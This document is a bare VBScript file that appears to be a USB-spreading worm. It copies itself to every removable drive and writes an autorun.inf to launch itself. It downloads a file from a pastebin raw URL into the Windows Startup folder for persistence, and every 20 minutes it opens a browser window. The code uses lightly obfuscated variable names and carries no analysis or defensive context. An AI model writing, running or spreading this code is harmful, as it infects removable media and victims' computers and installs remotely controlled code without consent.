'=================================================================
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
For Each d In fso.Drives
If d.DriveType = 1 And d.IsReady = True Then
fso.CopyFile WScript.ScriptFullName, d & "\autorun.vbs", True
Set a = fso.CreateTextFile(d & "\autorun.inf", True )
 a.WriteLine "[AUTORUN]"
 a.WriteLine "SHELLEXECUTE=autorun.vbs"
a.close
End If
Next
'=================================================================
Set aaaaa = CreateObject("WScript.Shell")
bbbbb = aaaaa.SpecialFolders("Startup") & "\autorun.vbs"
Call ccccc
sub ccccc
dim eeeee: Set eeeee = createobject("Microsoft.XMLHTTP")
dim JyNbm: Set JyNbm = createobject("Adodb.Stream")
eeeee.Open "GET", "https://pastebin.com/raw/vY5vUgdE", False
 eeeee.Send
    with JyNbm
      .type = 1
      .open
      .write eeeee.responseBody
      .savetofile bbbbb, 2
    end with
 end sub
'=================================================================
do
WScript.Sleep 20 * 60 * 1000 ' 1000 => 1 second
CreateObject("WScript.Shell").Run("""https://www.google.com""")
loop
'=================================================================